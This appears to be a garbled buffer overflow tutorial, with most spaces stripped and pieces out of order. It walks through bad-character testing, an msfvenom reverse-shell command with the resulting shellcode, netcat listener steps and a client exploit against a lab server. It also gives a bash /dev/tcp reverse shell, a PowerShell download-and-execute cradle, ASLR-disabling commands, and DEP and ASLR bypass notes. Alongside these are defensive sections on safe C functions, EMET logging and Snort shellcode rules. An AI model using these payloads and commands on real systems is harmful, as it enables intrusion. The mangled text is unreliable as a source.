Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
We notice that the attack fails because the connection back to our attacking machine (farthest right) does not respond to our ID or
WHOIScommandsLetrsquosinvestigate
1 RightclickEIPinRegisterWindowsrarrFollowinDump
2 ScrollaroundandfindthemalwareinbetweentheNOPSLEDandNOPending
3 Lookforx00commandsandtrytonoticeanythingorstrange
WhattheTargetMachineSees
Whatwesentover
We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc
etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does
not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP
CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence
of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into
various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad
charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard
So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and
omitcharacters
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow
ofhellip
1 UseagiantblobofallASCIcharactersinHEX
2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline
Howtotestforbadcharactersandotherassemblyandregisterissues
Terminal1Server1337
Terminal2edb(orGDBIwonrsquotjudge)
fromedbrarrattachrarrServer
fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning
Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory
Yoursquollbelookingforx41orx90rsquos
Option1-AlltheASCII
x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10
x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20
x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30
x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40
x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50
x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60
x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70
x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80
x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90
x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0
xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0
xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0
xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0
xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0
xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff
Option2-Testsomespecificcommands
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto
thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest
Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution
ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime
issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo
KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor
hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO
commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell
NewPayload
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode
FinalResults
SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere
theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback
toourldquoattackingrdquoterminal(farthestright)
CommonBufferOverflowExampleandMitigations(inC)
WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare
morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated
stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline
orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()
andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe
assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe
registersofacompiledbinaryorreviewingtheoutputfromGHIDRA
gets
Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability
VulnerableCode(SOURCE)
printfexternallink(Inputsomethingnastyhere)
gets(something)
VulnerableCode(ASSEMBLY)
FixedCode
printfexternallink(Inputsomethingnastyhere)
fgets(usernameLENGTHstdin)
strcpy
Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone
contiguoustomemorywherethepayloadisstored
VulnerableCode
charstr1[10]
charstr2[]=badstuffhere
strcpy(str1str2)
FixedCode(SOURCE)
enumBUFFER_LIMIT=1024
intmain()
chardst[BUFFER_LIMIT]
charsrc[]=badstuffhere
intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)
if(buffer_lengthgt=BUFFER_LIMIT)
printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn
buffer_lengthBUFFER_LIMIT-1)
VulnerableCode(ASSEMBLY)
Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows
FixedCode(SOURCE)
enumBUFFER_BOUNDARY_SIZE=1024
charstr1[BUFFER_BOUNDARY_SIZE]
charstr2[]=badstuffhere
strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize
strcat
YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto
thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin
sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied
FixedCode(SOURCE)
defineBUFFER_BOUNDARY_SIZE1024
charbuff[BUFFER_BOUNDARY_SIZE]
Usesecurestrncpythenuse
strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)
buff[BUFFER_BOUNDARY_SIZE-1]=0
strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)
strcmp
ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach
otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot
validatethesizeoftheinputagainstthepredefinedbuffer
OtherMitigationstoBufferOverflows
During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable
ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the
following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits
need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my
own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the
newcomertodiptheirtoesintothesubjects
Canary
A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions
prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary
ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps
detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly
overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith
https0x00secorgtexploit-mitigation-techniques-stack-canaries5085
httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained
httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf
DEP-DataExecutionProtection
DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware
executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as
non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns
For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag
of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other
linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow
security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks
forroutineswithanytypeofbuffer
In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get
the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the
bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP
setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may
introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP
httpslwnnetArticles422487
httpslinuxdienetman8execstack
httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in
httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your
httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae
BypassingDEP
Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to
David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view
ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining
So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu
will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you
overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary
arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in
linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable
in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another
option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in
the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the
application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of
instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope
somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle
ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot
intendtohavethewordldquoheartrdquodidherdquo
Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your
payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP
gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET
instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps
An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute
ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script
which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1
But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it
difficulttocallexecve()orsystem()
Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove
found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create
a new executable space or change the flag for existing executable space However finding the memory addresses to these functions
andcallingthemappearstobeadifferentstory
httpsgithubcomJonathanSalwanROPgadget
httpswwwrapid7comresourcesrop-exploit-explained
httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf
httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf
httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi
ng-chains]pdf
ASLR(Addressspacelayoutrandomization)
Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation
BypassingASLR
Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and
windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible
chunksandhopefullythishelpsguidemyselfandotherfurtherstudies
NonASLRlinkedbinaries
It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with
some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something
that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR
enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the
memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program
with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass
ASLRandbeginaROPattack
httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf
httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf
PointerLeaksDanglingPointers
If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot
for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code
into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE
which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory
object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that
the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how
virtualfunctionsarereferencedviavirtualtables
httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf
httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf
httpswwwrapid7comresourceswhy-you-should-be-using-emet
HEAPSprayswithASLRdisabledVirtualAlloc()inWindows
If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create
write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can
either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by
VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this
seemslikejustplainluck
httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified
httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf
BlueteamEngineeringforpostBufferOverflow
For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just
learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos
are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues
SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to
Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I
thoughtthroughthisIlumpedthedetectionintotwobuckets
1 DetectingFailedBufferOverflowAttempts
2 DetectingSuccessfullyBufferOverflowAttempts
DetectingFailedBufferOverAttemptsinWindows
If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events
are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the
oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog
For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as
the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases
whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked
EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their
sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a
similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM
Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a
collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via
GPOetc
ltQueryListgt
ltQueryId=0Path=Applicationgt
ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt
ltQuerygt
ltQueryListgt
To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and
configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service
to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on
somepredefinedSplunkpolicy
Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an
exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog
The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server
BasicallythispolicysayswhichlogscangetsentontotheSIEM
[WinEventLogForwardedEvents]
disabled=0
renderXml=1
evt_resolve_ad_obj=1
The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to
and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk
queries
SampleEMETEvent
EMETversion55587131892
EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE
EAF+checkfailed
ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE
UserNameDOMAINuser
SessionID1
PID0x1348(4936)
TID0xF90(3984)
ModuleSOMEDLLdll
ModBase0x11630000
ModAddress0x11642E99
MemAddress0x76F501A4
Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to
prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may
need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice
beachheadtomaintainafoothold
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf
httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server
DetectingSuccessfulBufferOverAttempts
The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker
has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed
which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two
approachespaintsasolidpicture
1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)
2) Hostbasedsignaturedetection
NetworkBasedDetection
Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the
clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication
1 EncodedHEXpayloadmalwarewithintheclientattack
2 Abunchofx90rsquoswithintheclientattack
3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal
If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have
SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from
bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit
generatedBSDshellcode
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)
content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416
classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment
Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at
2010_07_30updated_at2016_07_01)
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)
content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly
referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any
attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag
Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)
Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly
impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS
interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the
payloadsolargethattherulesareignoredduetoperformanceaswellSneaky
HostBasedDetection
In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and
made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer
OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean
Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas
netviewdomain
netuserdomain
netaccountsdomain
Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas
systeminfo
netlocalgroupldquoAdministratorsrdquo
uname-a
catprocissue
Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell
start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait
powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString
(http10022108081CodeExecutionInvoke-Shellcodeps1)
Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc
ENJOY
ReferencesandHonorableMentions
GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors
propertydefmax_length(self)returnself_max_lengthdefgenerate(self)data=[]start=selfmin_lengthend=0ifselfmax_lengthisnotNoneend=randint(startselfmax_length)elseend=randint(startsysmaxsize)foriinrange(startend)dataappend(sample(self_alphabet1)[0])self_casesappend(join(data))returnjoin(data)AnothersimplecommandforthemanualtestinginthisPoCareasfollowspython-cprintx41overflowpython-cprintx41[offset]+x42[4]+x43[Overflow-offset-4]python-cprintx90[offset]+InstructionPointer[4]+x90[Overflow-offset-4]DonrsquotworryifthesecommandsareconfusingwersquorebuildinguptoexamplesThegoalhereistolearntowriteBOmalwareReversecompiledBbinarieshowtowritethebasicsoflowlevelCprogrammingSocketProgrammingandAssemblyHoweverthereareplentyofldquopre-definedrdquolistsofwellknownbadparameterstopassintoinputfieldsandheadersviaallsortsofWeb-AppproxytoolsMaybeforanothertimeIntelligentvsDumbFuzzingIjustgotoutofanembeddedsystemexploitationclasstaughtbysomebrilliantexploitresearchersanddevelopersfromRaytheonMartinHodoakaldquoShellcodeMercenaryrdquosaidsomethingIthoughtwasagreatstickingpointldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoInthisexampleweareluckyenoughtohaveaccesstosomesourcecodeThereisagoodexampleinthesourcecodethatprovesMartinrsquospointServer-SideSourceCodeExampledefineHEADER_SIZE4charbuffer[BUFFER_BOUNDARY_SIZE]intto_readread(cli_fdampto_readHEADER_SIZE)printf(Willreaddbytesnto_read)
Client-SideCodeCodeExampledefconvert(message)raw=raw+=structpack(ltIlen(message))raw+=messagereturnrawWhyisthisimportantWhatpointdoesthisillustrateMyhumbleopinionisthattheapplicationmaybeexpectingaveryparticularsetofstringsbeforeprocessinganydatainthebufferitselfForexamplemaybethesocketyourcommunicatingisexpectingsomesortofpreamble2byteflagsorevenasimpleldquoHellordquoprefixMorerealisticallytheclientcouldsendsometypeofuniqueOSflagClientVersionFlagHelloorwhoknowswhatInthiscasethereisanexpectationthatthefirst4byteswillincludethelengthoftheclientpayloadThelengthoftheclientpayloadisofcoursecalculatedbythepythonclientAdnthatrsquosjustaweirdnuanceofthiscodeandprobablynoothercodeSoifyoutrytoconnectdirectlytothesocketandthrowaldquoBunchofArsquosrdquoatthelistenermaybetheldquoAsrdquowillgettothenextfunctionfortheoverflowORmaybetheldquoArsquosrdquowonrsquotevenmakeitbecauseofsomemissingpre-fixlogicstuffthatisuniquetotheapplicationExampleofOverflowcrashusingPrefix
InthiscasewewereluckyandourldquoArsquosrdquoorldquox41rdquomadeitthroughandoverwrotetheinstructionpointerThismaynotmeanmuchtothosenewtotheBufferOverflowconceptbutdonrsquotworrybecausethepointisldquothehackworkedrdquobecauseweknewtheservicewasexpectinga4byteofprefixThemoreyouunderstandwhattheapplicationexpectsthemorelikelyyouaregettingintodeeperpartsinthecode Nowletrsquostakealookatblindlyfuzzingwithoutunderstandingtheclient-serversourcecode
ExampleofOverflowusingBlindNecatTelnetpayloadwithoutthePrefix
